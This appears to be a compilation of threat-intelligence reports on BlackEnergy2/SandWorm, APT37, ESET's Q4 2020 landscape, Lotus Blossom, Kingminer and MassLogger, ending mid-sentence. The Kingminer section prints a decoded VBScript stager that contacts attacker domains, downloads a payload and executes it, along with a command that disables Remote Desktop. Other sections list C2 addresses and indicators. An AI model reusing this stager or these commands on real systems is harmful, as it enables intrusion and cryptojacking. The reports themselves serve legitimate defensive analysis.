“nm_msl”. It’s interesting that the BE2 developers upgraded the ddos plugin to version 2, along with the nm_hwi, nm_mps, and nm_msl plugins. They simultaneously released version 5 of the weap_msl, weap_mps, and weap_hmi plugins. Those assignments were not likely arbitrary, as this group had developed BlackEnergy2 for several years in a professional and organized style. Here is the list of retrieved files and related functionality: - **weap**: DDoS Attack (various types) - **ps**: password stealer handling a variety of network protocols (SMTP, POP3, IMAP, HTTP, FTP, Telnet) - **nm**: scans ports, stores banners - **snif**: logs IP source and destination, TCP/UDP ports - **hook**: main module: CnC communication, config parser, plugins loader - **uper**: rewrites hook module with a new version and launches it The developers’ coding style differed across the ‘Hook’ main module, the plugins, and the Windows main.dll. The hook main module contained encrypted strings and handled all the function calls and strings as the references in a large structure. This structure obfuscation may be a rewrite effort to better modularize the code, but could also be intended to complicate analysis. Regardless, it is likely that different individuals coded the different plugins. So, the BE2 effort must have its own small team of plugin and multiplatform developers. After decrypting the strings, it became clear that the Linux Hook main module communicated with the same CnC server as other Windows modules. ### Windows Plugins After the disclosure of an unusual CnC server that pushed Linux and the new Windows plugins we paid greater attention to new BE2 samples and associated CnCs. During an extended period, we were able to collect many Windows plugins from different CnC servers, without ever noticing Linux plugins being downloaded as described above. It appears the BE2/SandWorm gang protected their servers by keeping their non-Windows hacker tools and plugins in separate servers or server folders. Finally, each CnC server hosts a different set of plugins, meaning that each server works with different victims and uses plugins based on its current needs. Here is the summary list of all known plugins at the moment: - **fs**: searches for given file types, gets primary system and network information - **ps**: password stealer from various sources - **ss**: makes screenshots - **vsnet**: spreads payload in the local network (uses psexec, accesses admin shares), gets primary system and network information - **rd**: remote desktop - **scan**: scans ports of a given host - **grc**: backup channel via plus.google.com - **jn**: file infector (local, shares, removable devices) with the given payload downloaded from CnC - **cert**: certificate stealer - **sn**: logs traffic, extracts login-passwords from different protocol (HTTP, LDAP, FTP, POP3, IMAP, Telnet) - **tv**: sets password hash in the registry for TeamViewer - **prx**: Proxy server - **dstr**: Destroys hard disk by overwriting with random data (on application level and driver level) at a certain time - **kl**: keylogger - **upd**: BE2 service file updater - **usb**: gathers information on connected USBs (Device instance ID, drive geometry) - **bios**: gathers information on BIOS, motherboard, processor, OS We are pretty sure that our list of BE2 tools is not complete. For example, we have yet to obtain the router access plugin, but we are confident that it exists. Evidence also supports the hypothesis that there is an encryption plugin for victim files. Our current collection represents the BE2 attackers’ capabilities quite well. Some plugins remain mysterious and their purpose is not yet clear, like ‘usb’ and ‘bios’. Why would the attackers need information on USB and BIOS characteristics? It suggests that based on specific USB and BIOS devices, the attackers may upload specific plugins to carry out additional actions. Perhaps destructive, perhaps to further infect devices. We don’t know yet. It’s also interesting to point out another plugin – ‘grc’. In some of the BE2 configuration files, we can notice a value with a “gid” type. This number is an ID for the plus.google.com service and is used by the ‘grc’ plugin to parse HTML. It then downloads and decrypts a PNG file. The decrypted PNG is supposed to contain a new config file, but we never observed one. We are aware of two related GooglePlus IDs. The first one, plus.google.com/115125387226417117030/, contains an abnormal number of views. At the time of writing, the count is 75 million. The second one – plus.google.com/116769597454024178039/posts – is currently more modest at a little over 5,000 views. All of that account’s posts are deleted. ## Tracked Commands During observation of the described above “router-PC” CnC we tracked the following commands delivered in the config file before the server went offline. Our observation of related actions here: - **u ps**: start password stealing (Windows) - **Ps_mps/ps_hwi start**: start password stealing (Linux, MIPS, ARM) - **uper_mps/uper_hwi start**: rewrite hook module with a new version and launch it (Linux, MIPS, ARM) - **Nm_mps/nm_hwi start –ban**: Scan ports and retrieve banners on the router subnet (Linux, MIPS, ARM) - **U fsget * 7 *.docx, *.pdf, *.doc**: search for docs with the given filetypes (Windows) - **S sinfo**: retrieve information on installed programs and launch commands: systeminfo, tasklist, ipconfig, netstat, route print, tracert www.google.com (Windows) - **weap_mps/weap_hwi**: DDoS on 188.128.123.52 (Linux, MIPS, ARM) - **host188.128.123.52** - **port[25,26,110,465,995]** - **typetcpconnect** - **weap_mps/weap_hwi**: DDoS on 212.175.109.10 (Linux, MIPS, ARM) - **typesynflood port80** - **cnt100000 spdmedium** - **host212.175.109.10** The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM devices. We want to pay special attention to the DDoS commands meant for these routers. 188.128.123.52 belongs to the Russian Ministry of Defense and 212.175.109.10 belongs to the Turkish Ministry of Interior’s government site. While many researchers suspect a Russian actor is behind BE2, judging by their tracked activities and the victim profiles, it’s still unclear whose interests they represent. While observing some other CnCs and pulling down config files, we stumbled upon some strange mistakes and mis-typing. These mistakes suggest that the BE2 attackers manually edit these config files. Secondly, it shows that even skilled hackers make mistakes. ## Hard-Coded Command and Control The contents of the config files themselves are fairly interesting. They all contain a callback c2 with a hardcoded IP address, contain timeouts, and some contain the commands listed above. We include a list of observed hardcoded IP C2 addresses here, along with the address owner and geophysical location of the host: | C2 IP address | Owner | Country | |--------------------|---------------------|---------| | 184.22.205.194 | hostnoc.net | US | | 5.79.80.166 | Leaseweb | NL | | 46.165.222.28 | Leaseweb | NL | | 95.211.122.36 | Leaseweb | NL | | 46.165.222.101 | Leaseweb | NL | | 46.165.222.6 | Leaseweb | NL | | 89.149.223.205 | Leaseweb | NL | | 85.17.94.134 | Leaseweb | NL | | 46.4.28.218 | Hetzner | DE | | 78.46.40.239 | Hetzner | DE | | 95.143.193.182 | Serverconnect | SE | | 188.227.176.74 | Redstation | GB | | 93.170.127.100 | Nadym | RU | | 37.220.34.56 | Yisp | NL | | 194.28.172.58 | Besthosting.ua | UA | | 124.217.253.10 | PIRADIUS | MY | | 84.19.161.123 | Keyweb | DE | | 109.236.88.12 | worldstream.nl | NL | | 212.124.110.62 | digitalone.com | US | | 5.61.38.31 | 3nt.com | DE | | 5.255.87.39 | serverius.com | NL | It’s interesting that one of these servers is a Tor exit node. And, according to the collected config files, the group upgraded their malware communications from plain text HTTP to encrypted HTTPS in October 2013. ## BE2 Targets and Victims BlackEnergy2 victims are widely distributed geographically. We identified BlackEnergy2 targets and victims in the following countries starting in late 2013. There are likely more victims: - Russia - Ukraine - Poland - Lithuania - Belarus - Azerbaijan - Kyrgyzstan - Kazakhstan - Iran - Israel - Turkey - Libya - Kuwait - Taiwan - Vietnam - India - Croatia - Germany - Belgium - Sweden Victim profiles point to an expansive interest in ICS: - power generation site owners - power facilities construction - power generation operators - large suppliers and manufacturers of heavy power-related materials - investors However, we also noticed that the target list includes government, property holding, and technology organizations as well: - high-level government - other ICS construction - federal land holding agencies - municipal offices - federal emergency services - space and earth measurement and assessment labs - national standards body - banks - high-tech transportation - academic research ## Victim Cases We gained insight into significant BE2 victim profiles over the summer of 2014. Interesting BE2 incidents are presented here. ### Victim #1 The BE2 attackers successfully spearphished an organization with an exploit for which there is no current CVE, and a Metasploit module has been available. This email message contained a ZIP archive with an EXE file inside that did not appear to be an executable. This crafted zip archive exploited a WinRAR flaw that makes files in zip archives appear to have a different name and file extension. The attached EXE file turned out to be ‘BlackEnergy-like’ malware, which researchers already dubbed ‘BlackEnergy3’ – the gang uses it along with BlackEnergy2. Kaspersky Lab detects ‘BlackEnergy3’ malware as Backdoor.Win32.Fonten – naming it after its dropped file “FONTCACHE.DAT”. When investigating computers in the company’s network, only BE2 associated files were found, suggesting BE3 was used as only a first-stage tool on this network. The config files within BE2 contained the settings of the company’s internal web proxy. As the APT-specific BE2 now stores the downloaded plugins in encrypted files on the system (not seen in older versions – all plugins were only in-memory), the administrators were able to collect BE2 files from the infected machines. After decrypting these files, we could retrieve plugins launched on infected machines: ps, vsnet, fs, ss, dstr. By all appearances, the attackers pushed the ‘dstr’ module when they understood that they were revealed and wanted to hide their presence on the machines. Some machines already launched the plugin, lost their data, and became unbootable. ### Victim #2 The second organization was hacked via the first victim’s stolen VPN credentials. After the second organization was notified about the infection, they started an internal investigation. They confirmed that some data was destroyed on their machines, so the BE2 attackers have exhibited some level of destructive activity. And, they revealed that their Cisco routers with different IOS versions were hacked. They weren’t able to connect to the routers anymore by telnet and found the following “farewell” TCL scripts in the router’s file system: - **Ciscoapi.tcl**: contains various wrappers over Cisco EXEC-commands as described in the comments. The comment includes a punchy message for “kasperRsky”. - **Killint.tcl**: uses Ciscoapi.tcl, implements destroying functions. The script tries to download ciscoapi.tcl from a certain FTP server which served as a storage for BE2 files. The organization managed to discover what scripts were hosted on the server before the BE/SandWorm gang deleted them, and unfortunately couldn’t restore them after they were deleted. The BE2 actor performs careful, professional activity covering their tracks. ### Victim #3 The third organization got compromised by the same type of attack as the first one (an EXE file spoofing a doc within a Zip archive). All the plugins discovered in BE2 files were known, and there was no revelation of hacked network devices on their side and no destroyed data. The noticeable thing is that many computers contained both BE2 and BE3 files and some config files contained the following URL: hxxps://46.165.222(dot)28/upgrade/f3395cd54cf857ddf8f2056768ff49ae/getcfg.php The URL contains the MD5 of the string ‘router’. One of the discovered config files contained a URL with an as yet unidentified MD5: hxxps://46.165.222(dot)28/upgrade/bf0dac805798cc1f633f19ce8ed6382f/upgrade.php ### Victim Set #4 A set of victims discovered installed Siemens SCADA software in their ICS environment was responsible for downloading and executing BlackEnergy. Starting in March 2014 and ending in July 2014, Siemens “ccprojectmgr.exe” downloaded and executed a handful of different payloads hosted at 94.185.85.122/favicon.ico. They are all detected as variants of “Backdoor.Win32.Blakken”. ## Build IDs Each config file within BE2 main.dll has a field called build_id which identifies the malware version for the operators. Currently, this particular BE/SandWorm gang uses a certain pattern for the build IDs containing three hex numbers and three letters, as follows: 0C0703hji. The numbers indicate the date of file creation in the format: Year-Month-Day. Still, the purpose of the letters is unknown, but most likely it indicates the targets. The hex numbers weren’t used all the time; sometimes we observed decimal numbers: 100914_mg, 100929nrT. Most interesting for us was the earliest build ID we could find. Currently, it is “OB020Ad0V”, meaning that the BE2/SandWorm APT started operating as early as the beginning of 2010. ## Appendix: IoC Since BE dropper installs its driver under a randomly picked non-used Windows driver name, there is no static name for a driver to use it as IOC. The driver is self-signed on 64-bit systems. However, new “APT” BE2 uses one of the following filenames that are used as an encrypted storage for plugins and the network settings. They are consistent and serve as stable IoC: - %system32%driverswinntd_.dat - %system32%driverswinntd.dat - %system32%driverswincache.dat - %system32%driversmlang.dat - %system32%driversosver32nt.dat - %LOCALAPPDATA%adobewind002.dat - %LOCALAPPDATA%adobesettings.sol - %LOCALAPPDATA%adobewinver.dat - %LOCALAPPDATA%adobecache.dat BE2 also uses start menu locations for persistence: - UsersuserAppDataRoamingMicrosoftWindowsStartMenuProgramsStartupflashplayerapp.exe BE3 uses the following known filenames: - %USERPROFILE%NTUSER.LOG - %LOCALAPPDATA%FONTCACHE.DAT ### BE2 MD5s: - d57ccbb25882b16198a0f43285dafbb4 - 7740a9e5e3feecd3b7274f929d37bccf - 948cd0bf83a670c05401c8b67d2eb310 - f2be8c6c62be8f459d4bb7c2eb9b9d5e - 26a10fa32d0d7216c8946c8d83dd3787 - 8c51ba91d26dd34cf7a223eaa38bfb03 - c69bfd68107ced6e08fa22f72761a869 - 3cd7b0d0d256d8ff8c962f1155d7ab64 - 298b9a6b1093e037e65da31f9ac1a807 - d009c50875879bd2aefab3fa1e20be09 - 88b3f0ef8c80a333c7f68d9b45472b88 - 17b00de1c61d887b7625642bad9af954 - 27eddda79c79ab226b9b24005e2e9b6c - 48937e732d0d11e99c68895ac8578374 - 82418d99339bf9ff69875a649238ac18 - f9dcb0638c8c2f979233b29348d18447 - 72372ffac0ee73dc8b6d237878e119c1 - c229a7d86a9e9a970d18c33e560f3dfc - ef618bd99411f11d0aa5b67d1173ccdf - 383c07e3957fd39c3d0557c6df615a1 - 105586891deb04ac08d57083bf218f93 - 1deea42a0543ce1beeeeeef1ffb801e5 - 7d1e1ec1b1b0a82bd0029e8391b0b530 - 1f751bf5039f771006b41bdc24bfadd3 - d10734a4b3682a773e5b6739b86d9b88 - 632bba51133284f9efe91ce126eda12d - a22e08e643ef76648bec55ced182d2fe - 04565d1a290d61474510dd728f9b5aae - 3c1bc5680bf93094c3ffa913c12e528b - 6a03d22a958d3d774ac5437e04361552 - 0217eb80de0e649f199a657aebba73aa - 79cec7edf058af6e6455db5b06ccbc6e - f8453697521766d2423469b53a233ca7 - 8a449de07bd54912d85e7da22474d3a9 - 3f9dc60445eceb4d5420bb09b9e03fbf - 8f459ae20291f2721244465aa6a6f7b9 - 4b323d4320efa67315a76be2d77a0c83 - 035848a0e6ad6ee65a25be3483af86f2 - 90d8e7a92284789d2e15ded22d34ccc3 - edb324467f6d36c7f49def27af5953a5 - c1e7368eda5aa7b09e6812569ebd4242 - ec99e82ad8dbf1532b0a5b32c592efdf - 391b9434379308e242749761f9edda8e - 6bf76626037d187f47a54e97c173bc66 - 895f7469e50e9bb83cbb36614782a33 - 1feacbef9d6e9f763590370c53cd6a30 - 82234c358d921a97d3d3a9e27e1c9825 - 558d0a7232c75e29eaa4c1df8a55f56b - e565255a113b1af8df5adec568a161f3 - 1821351d67a3dce1045be09e88461fe9 - b1fe41542ff2fcb3aa05ff3c3c6d7d13 - 53c5520febbe89c25977d9f45137a114 - 4513e3e8b5506df268881b132ffdcde1 - 19ce80e963a5bcb4057ef4f1dd1d4a89 - 9b29903a67dfd6fec33f50e34874b68b - b637f8b5f39170e7e5ada940141ddb58 - c09683d23d8a900a848c04bab66310f1 - 6d4c2cd95a2b27777539beee307625a2 ### BE3 MD5s: - f0ebb6105c0981fdd15888122355398c - 7cb6363699c5fd683187e24b35dd303e - 4d5c00bddc8ea6bfa9604b078d686d45 - f37b67705d238a7c2dfcdd7ae3c6dfaa - 46649163c659cba8a7d0d4075329efa3 - 628ef31852e91895d601290ce44650b1 - 723eb7a18f4699c892bc21bba27a6a1 - 8b9f4eade3a0a650af628b1b26205ba3 - f6c47fcc66ed7c3022605748cb5d66c6 - 6c1996c00448ec3a809b86357355d8f9 - faab06832712f6d877baacfe1f96fe15 - 2c72ef155c77b306184fa940a2de3844 - 2e62e8949d123722ec9998d245bc1966 - b0dc4c3402e7999d733fa2b668371ade - 93fa40bd637868a271002a17e6dbd93b - f98abf80598fd89dada12c6db48e3051 - 8a7c30a7a105bd62ee71214d268865e3 - 2f6582797bbc34e4df47ac25e363571d - 81d127dd7957e172feb88843fe2f8dc1 - 3e25544414030c961c196cea36ed899d ## Previous and Parallel Research - Botnet History Illustrated by BlackEnergy 2, PH Days, Kaspersky Lab – Maria Garnaeva and Sergey Lozhkin, May 2014 - BlackEnergy and Quedagh (pdf), F-Secure, September 2014 - Sandworm, iSIGHT Partners, October 2014 - Alert (ICS-ALERT-14-281-01A) Ongoing Sophisticated Malware Campaign Compromising ICS (Update A), ICS-CERT, October 2014 ### Tags - APT - BlackEnergy - Cyber espionage - DDoS-attacks - Targeted attacks
# APT37 (Reaper): The Overlooked North Korean Actor **Threat Research** **FireEye** **Feb 20, 2018** **2 mins read** On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper). Our analysis of APT37’s recent activity reveals that the group’s operations are expanding in scope and sophistication, with a toolset that includes access to zero-day vulnerabilities and wiper malware. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123. ## Targeting Primarily South Korea – though also Japan, Vietnam, and the Middle East – in various industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive, and healthcare. ## Initial Infection Tactics Social engineering tactics tailored specifically to desired targets, strategic web compromises typical of targeted cyber espionage operations, and the use of torrent file-sharing sites to distribute malware more indiscriminately. ## Exploited Vulnerabilities Frequent exploitation of vulnerabilities in Hangul Word Processor (HWP), as well as Adobe Flash. The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802) and the ability to incorporate them into operations. ## Command and Control Infrastructure Compromised servers, messaging platforms, and cloud service providers to avoid detection. The group has shown increasing sophistication by improving their operational security over time. ## Malware A diverse suite of malware for initial intrusion and exfiltration. Along with custom malware used for espionage purposes, APT37 also has access to destructive malware.
# ESET Threat Report Q4 2020 ## Foreword Welcome to the Q4 2020 issue of the ESET Threat Report! 2020 was many things (“typical” not being one of them), and it sure feels good to be writing about it in the past tense. The growth of ransomware might have been an important factor in the decline of banking malware; a decline that only intensified over the last quarter of the year. Ransomware and other malicious activities are simply more profitable than banking malware, the operators of which already have to grapple with the heightening security in the banking sector. There was, however, one exception to this trend: Android banking malware registered the highest detection levels of 2020 in Q4, fueled by the source code leak of the trojan Cerberus. In cyberspace, events also took a dramatic turn towards the end of the year, as news of the SolarWinds supply-chain attack swept across the industry. With many high-profile victims, the incident is a stark reminder of the potential scope and impact of these types of attacks, which are also exceedingly difficult to detect and prevent. While not all as earthshaking as the SolarWinds hack, supply-chain attacks are becoming a major trend: in Q4 alone, ESET uncovered as many as the whole sector saw annually just a few years back. And — seeing how much cybercriminals have to gain from them — their numbers are only expected to continue growing in the future. Luckily, however, threat actors are not the only ones on the offensive. In October 2020, ESET took part in a global disruption campaign targeting TrickBot, one of the largest and longest-lived botnets. Thanks to the combined efforts of all who participated in this operation, TrickBot took a heavy blow with 94% of its servers taken down in a single week. As we step into the new year, this report offers not only an overview of the Q4 threat landscape, but also commentary on the broader trends observed throughout 2020 as well as predictions for 2021 by ESET malware research and detection specialists. With work from home being the new normal in many sectors — one of the largest shifts brought by the pandemic — the enormous 768% growth of RDP attacks between Q1 and Q4 2020 comes as no surprise. In Q4 2020, the ultimatums made by ransomware gangs were more aggressive than ever, with threat actors demanding probably the highest ransom amounts to date. And while Maze, a pioneer of combining ransomware attacks and the threat of doxing, closed shop in Q4, other threat actors added more and more aggressive techniques to increase pressure on their victims. Until then… Happy reading, stay safe — and stay healthy! Roman Kovác, Chief Research Officer ## Featured Story ### ESET takes part in global operation to disrupt TrickBot Jean-Ian Boutin, ESET Head of Threat Research Throughout our tracking, we were able to collect and analyze 28 different TrickBot plugins. Some are meant to harvest passwords from browsers, email clients, and a variety of applications, while others can modify network traffic or self-propagate. TrickBot plugins are implemented as standard Windows DLLs, usually with at least these four distinctive exports: Start, Control, Release, and FreeBuffer. Being able to gather these configuration files allowed us to map the network infrastructure of TrickBot. The main module uses its list of hardcoded C&C servers and connects to one of them to download a second list of C&C servers, the so-called psrv list. The main module contacts this second layer of C&C servers to download the default plugins specified in the hardcoded configuration file. The accompanying scheme illustrates this initial communication process. We have been tracking these different C&C servers since early 2017. This knowledge was, of course, vital in the disruption effort, since we were able to contribute to mapping the network infrastructure used by the operators. ### Banking Malware ESET researchers discovered that LATAM banking trojans, while being several distinct malware families, appear to be cooperating closely. ESET’s long-term research into these trojans has shown a great number of commonalities between the families. Since 2019, it has been observed that several Latin American banking trojans have also started targeting European countries, mainly Spain and Portugal. As an additional common feature, they use similar spam email templates. We believe that there are multiple threat actors responsible for maintaining these malware families and that these threat actors cooperate. ### Backdoors ESET Research discovered a modular backdoor named ModPipe that allows attackers to access sensitive information on devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS. ModPipe consists of multiple modules — initial dropper, persistent loader, the main module that creates the pipe used for communication between modules and controls the whole malware, networking module, and, finally, downloadable modules. Using credentials obtained via GetMicInfo, the attackers can gain access to database contents, including information about POS transactions. They should not be able to access sensitive customer information this way, but it is possible that a module with such functionality exists. ### APT Group Activity ESET Research discovered a previously unknown APT group operating at least since 2011. The group, named XDSpy by ESET, targets government and private sector entities in the Balkans and Eastern Europe in order to exfiltrate data. The group usually uses spearphishing to initiate its attacks. ESET researchers uncovered several attempts to deploy Lazarus malware in South Korea via supply-chain attacks. To do this, Lazarus leveraged legitimate South Korean security software WIZVERA VeraPort and digital certificates stolen from two different companies. ### Statistics & Trends #### Top 10 Malware Detections 1. VBA/TrojanDownloader.Agent trojan 2. LNK/Agent trojan 3. HTML/Fraud trojan 4. Win/Exploit.CVE‑2017‑11882 trojan 5. DOC/TrojanDownloader.Agent trojan 6. HTML/Phishing.Agent trojan 7. JS/Agent trojan 8. DOC/Fraud trojan 9. Win/Phorpiex worm 10. Win/HackTool.Equation trojan The threat landscape in Q4 2020 saw a further steady decline in banking malware, going down 33% from Q3. This trend might be influenced by other malicious activities, such as ransomware, being less risky and thus providing a better return on investment to the threat actors. ### Ransomware In Q4, ransomware detections saw a minor 4% decline, the smallest QoQ drop seen in 2020. In contrast to mounting media coverage of increasing ransomware attacks, most of the detections in the chart come from families that are mass-spread via email campaigns and only in a very limited number of targeted attacks. ### Cryptominers After steadily going down since October 2018, cryptominers experienced a 4% increase in Q4. The rise in cryptominer detections seems to be caused mainly by the massive growth in the price of bitcoin and other cryptocurrencies in Q4. ### Trends & Outlook We expect that most of the abovementioned trends will continue in 2021, with ransomware gangs increasing ransom demands, becoming more aggressive and adding new ways to extort their victims. If the value of bitcoin continues to rise, it will probably also attract new — even if unskilled — ransomware actors into “the game.”
# Operation Lotus Blossom: A New Nation-State Cyberthreat? **By Unit 42** **June 16, 2015** Today Unit 42 published new research identifying a persistent cyber espionage campaign targeting government and military organizations in Southeast Asia. The adversary group responsible for the campaign, which we named “Lotus Blossom,” is well organized and likely state-sponsored, with support from a country that has interests in Southeast Asia. The campaign has been in operation for some time; we have identified over 50 different attacks taking place over the past three years. ## Background and Findings Unit 42 has linked more than 50 individual attacks across Hong Kong, Taiwan, Vietnam, the Philippines, and Indonesia to the Lotus Blossom group. These attacks share a number of characteristics, including: - They are against military and government targets. - Spearphishing is used as the initial attack vector. - They use a custom Trojan backdoor named “Elise” to gain a foothold. - A decoy file appears during initial compromise with Elise, tricking users into thinking they opened a benign file. Attacks by the Lotus Blossom group rely heavily on the use of spearphishing emails that use enticing subject lines and legitimate-looking decoy documents to trick users into opening a malware executable they think is a legitimate document. This document is usually a personnel roster for a specific military or government office. We believe that the Lotus Blossom group developed the Elise malware specifically to meet the needs of the attack campaigns, and we’ve observed three variants across 50 samples during the three-year period of these attacks. Elise is a relatively sophisticated tool, including variants with the ability to evade detection in virtual environments, connect to command-and-control servers for additional instruction, and exfiltrate data. Operation Lotus Blossom is a prime example of how a well-resourced adversary will deploy advanced tools, over an extended time period, sometimes years, in order to reach its goals. In this case, the pattern of behavior suggests that the actors behind this group were nation-state sponsored, from a country with an interest in the government and military affairs of Southeast Asian nations. Unit 42 discovered this attack using the Palo Alto Networks AutoFocus service, which allows analysts to quickly find correlations among malware samples analyzed by WildFire. Palo Alto Networks customers are protected from the malware used in Operation Lotus Blossom via WildFire and our Security Platform’s Threat Prevention capabilities (IPS signature 14358). We recommend that other security practitioners review the Indicators of Compromise (IoCs) in the full report to ensure they have not been targets in this campaign, and add the appropriate security controls to prevent future attacks.
# WHITEPAPER ## Security ### Kingminer – a Crypto-Jacking Botnet Under the Scope ## Introduction In late 2017, cryptocurrencies in general (and Bitcoin in particular) appreciated tremendously. As some digital currencies spiked to $20,000 in fiat money, a new kind of gold rush started. This trend did not go unnoticed by commercial threat actors who saw an opportunity in mining for e-currencies as an alternative illicit business. By compromising computers with coin miners, they could take in great profits at zero hardware costs. While digital currencies have fluctuated wildly since late 2017, cyber-criminals are still making money and investing in the development of mining malware. This is the case of Kingminer, a piece of crypto-jacking malware that has been around since early 2018. Bitdefender researchers have picked up an attack involving sophisticated techniques, tactics, and procedures to deliver malicious payloads. What grabbed our attention was that, in many cases, the execution started from SQL server processes that were up to date and free from any known 0-day exploit. The malicious payloads used were variants of Kingminer, a botnet from 2018 known for delivering cryptocurrency mining tools on victim machines. The same campaign was also observed by Sophos and is described in [1]. Since the 2018 version described by Check Point Research [2], the malware evolved with new techniques. While the original version delivered its payload via Windows Scriplet Files (.sct), in this new campaign, attackers employ more advanced, file-less execution through Powershell and Mshta, focusing more on defense evasion than they did in the past. Also, while the 2018 campaign only deployed XMRig on machines, in this campaign, custom Kingminer cryptojackers appear disguised as Control Panel Items (.cpl) to further increase their chances of going undetected. Among the most interesting techniques we observed are: - Initial access from SQL Server processes by brute-forcing accounts - Initial execution from a kernel exploit, e.g., EternalBlue, the same technique used by WannaCry [3] - DGA (Domain Generation Algorithm) for evading blacklists - Employing tools like Mimikatz and PowerSploit - File-less execution of the bot - Various payloads delivered from the attacker’s server (XMRig, Kingminer) ## Technical Analysis of a Kingminer Infection ### Initial Access The infection usually starts from an SQL server process (sqlservr.exe) or a Print Spooler Service process (spoolsv.exe). The versions of SQL servers on victim machines are up to date and have no known 0-day vulnerabilities. Attackers exploit configuration flaws such as weak passwords and default credentials to obtain access to the server and schedule malicious commands for execution. Executions starting from spoolsv.exe are caused by attackers exploiting machines vulnerable to EternalBlue (CVE-2017-0144 [4]). When attackers gain access to either an sqlservr.exe process or a spoolsv.exe process, they first want to ensure that the attacked environment meets predefined criteria. To achieve this, the following command is run: ``` cmd /c ver | findstr "5.0 5.1 5.2 6.0 6.1" && wmic qfe GET hotfixid | findstr /i "kb4499175 kb4500331" || wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0 ``` This command pipes together three helpful functions to the attacker: - `ver | findstr "5.0 5.1 5.2 6.0 6.1"` - searches for specific Windows versions - `wmic qfe GET hotfixid | findstr /i "kb4499175 kb4500331"` - searches with the help of WMI (Windows Management Instrumentation) if specific Windows Updates are installed on the system. WMI is often used by advanced malware for discovery, command execution, and defense evasion. - `kb4499175` fixes Microarchitectural Data Sampling vulnerabilities - `kb4500331` fixes CVE-2019-0708 [5], a remote code execution vulnerability in Remote Desktop Protocol - `wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0` - disables Remote Desktop connections to the target machine, with the help of WMI When everything is ready, the attackers begin downloading and executing their tools. Download and execution of the bot is completely file-less. First, Powershell downloads and executes Mimikatz, then Mshta runs a custom-made polymorphic script obtained from the attacker’s server. Both Mimikatz and the first stage script are downloaded and executed in-memory, without ever being saved to a file on the disk. ### Execution Flow Execution starts from either a sqlservr.exe process or a spoolsv.exe process. After that, it branches quickly into multiple different scripts. Various threads of execution can be seen in the following graph: Now, let’s take each step apart and see the various techniques employed. #### First Stage VBScript The first stage loader is called r1.txt and its goal is to ensure persistence on the system and to deliver the following stages. The variables in scripts are random, with strings encoded with hexadecimal values of each character. The function at the end of the file is responsible for transforming these arrays back to interpretable form. With the essential strings decoded, the script looks like below. **Listing of r1.txt** ```vbscript Const zdmdcvgrnp = 2 Const anpotcjuad = 1 Const xumfurbwlu = 0 On Error Resume Next cqenynybltj = "on error resume next:Dim a1, b, c,u:Set a1 = CreateObject("WScript.Shell"):Set b = a1.Exec("nslookup news.g23thr.com"):Do While Not b.StdOut.AtEndOfStream:c = b.StdOut.ReadAll():Loop:Dim d,e, f:u = (hex((year(now())-2000)&Month(now())&(day(now())\32)&(year(now())-2000)))&"fdae.com":Set d = New RegExp:d.Pattern = "(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(120)":d.IgnoreCase = False:d.Global = True:Set e = d.Execute(c):If e.Count > 0 Then:u = chr(e.Item(0).submatches.Item(0))&chr(e.Item(0).submatches.Item(1))&chr(e.Item(0).submatches.Item(2))&chr(e.Item(0).submatches.Item(3))&"fghh.com":End If:Function a(ByVal s):For i = 1 To Len(s) Step 2:c = Mid(s, i, 2):If IsNumeric(Mid(s, i, 1)) Then:a = a & Chr("&H" & c):Else:a = a & Chr("&H" & c & Mid(s, i + 2, 2)):i = i + 2:End If:Next:End Function:Set h = CreateObject("MSXML2.ServerXMLHTTP"):h.SetTimeOuts 10000,10000,10000,60000:h.open "GET","http://"&minute(now())&second(now())&"."&u&"/tan.txt", false:h.send():execute(a(h.responseText)) ``` The above script detects the CPU architecture it runs on and downloads a 32-bit (for x86 systems) or a 64-bit (for x64 systems) version of the payload under the file x.txt in the root of the Public user’s folder. This file is then decoded into mum.txt, which generally is an MZPE file XORed with a single byte key. We will talk about these files in detail when we discuss payloads. It also downloads a base64 encoded payload, decodes, and moves it in \Users\Public\<date_hour_minute>\ with a .cpl extension and runs it. ### Payloads We had captured several payloads downloaded from the attacker’s server when we generated the URLs as the scripts do with the DGA. The file mum.txt arrives on the system as a result of the WMI event consumer script. It is an MZPE encrypted with a single byte XOR. Upon decryption, we identified it as a version of XMRig, a widespread cryptocurrency miner. In subsequent runs, it downloads slightly different variants of XMRig to evade static detection. These files are not present on VirusTotal.
# Harmful Logging - Diving into MassLogger There are many things that can be logged on a computer. While not all logging data is useful for the average user, a lot of logging goes on in the background of any system. However, there is good logging and bad logging. We have looked at an example of logging you definitely would not want. Over the last weeks, we observed a malware variant named MassLogger which is sold on hacker forums and advertised via YouTube videos. It is a .NET malware classified as a credential stealer and spyware, being weaponized with a variety of routines to steal sensitive data from users, as well as spy on them. The use cases for MassLogger vary a lot. However, we observed reports from other researchers and are confident that MassLogger is mostly distributed by phishing mails. ## Modularity MassLogger is developed to be sold to a wide variety of criminals; therefore, it is also highly modular. During our analysis, we found flags for various kinds of modules this malware has to offer. These modules are also introduced by the author. We are confident that customers are able to enable or disable certain features once a purchase is made. MassLogger is usually packed with various packers which implement additional techniques to evade environments used to analyze malicious binaries. The sample we investigated was packed with at least the CyaX .NET Packer or reuses its code. One more packing stage was added which was able to detect whether the dnSpy debugger is attached to it. ## Credential Logging As the trend to execute malicious code in memory continues, MassLogger also makes use of this. The sample we investigated starts itself in a new process, allocates executable memory, and injects the mentioned routine into the newly created process via Process Injection. The new process starts to iterate over files holding login credentials and writes them into a new file. The sample writes credentials, as well as its configuration into a separate log file. It also has the capability to take screenshots. The C2 carrier protocol depends on the sample's configuration; the variant we investigated tried to send the results over SMTP to the C2 server. We also identified that MassLogger can at least be configured to transfer the logging results via FTP to its control server. ## Preventing MassLogger Infection and Outlook During the creation of this article, we continued to watch MassLogger and its distribution. We believe that MassLogger will spread and stay alive for at least the next months. So it is recommended to keep an eye on suspicious mails, because malicious email attachments are still the most popular way to distribute malware. Furthermore, we 